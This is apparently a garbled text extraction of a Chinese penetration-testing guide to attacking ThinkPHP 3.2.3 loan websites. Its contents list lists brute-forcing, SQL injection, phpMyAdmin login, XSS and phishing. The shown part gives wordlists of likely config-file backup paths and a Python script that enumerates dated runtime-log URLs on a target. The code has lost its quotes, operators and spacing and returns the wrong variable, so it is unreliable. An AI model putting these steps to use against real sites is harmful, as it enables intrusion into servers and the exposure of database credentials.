关于thinkphp.3.2.3贷款网站检测思路.pdfVIP

关于thinkphp.3.2.3贷款网站检测思路

moonsec

关于thinkphp.3.2.3贷款网站检测思路1

1.分析入口点1

2.扫描日志文件2

3.根据报错信息制作备份文件字典5

.爆破后台密码

4burpsuite5

.注入利用

5SQL6

6.查询mysql密文破解登录phpmyadmin8

.漏洞

7Xss9

.社工钓鱼

8flash11

1.分析入口点

如果有源码的情况下可以进行审计或找代码审计人员分析挖掘漏洞。

看到定义目录是My

检测数据库文件这些配置文件如果用一些编辑器会留下临时文件或者文件可能会进行备

份

My\Common\Conf\config.php

My\Common\Conf\config.php.bak

1

My\Common\Conf\config.php~

My\Common\Conf\config.php.swp

My\Common\Conf\config.php.old

定义目录/项目名/config.php

访问或者扫描这些文件是否存在备份文件

My\Home\Conf/config.php

My\Home\Conf/config.php~

My\Home\Conf/config.php.bak

My\Home\Conf/config.php.swp

My\Home\Conf/config.php.rar

My\Home\Conf/config.tar.gz

2.扫描日志文件

项目文件\Runtime\Logs\Home

这个源码的项目文件是My

My\Runtime\Logs\Home

格式是年份月日

Thinkphp3.1.2_0_0.log

日志扫描工具

2

#coding:utf-8

importrequests

url=7:81/My/Runtime/Logs/Home

defadd_urls(patch,y):

urls=[]

foriinrange(1,13):

forjinrange(1,32):

ifi10:

ifj10:

urls.append(patch+/%s_0%s_0%s.log%(y,i,j))

else:

urls.append(patch+/%s_0%s_%s.log%(y,i,j))

else:

ifj10:

urls.append(patch+/%s_%s_0%s.log%(y,i,j))

else:

urls.append(patch+/%s_%s_%s.log%(y,i,j))

returnurl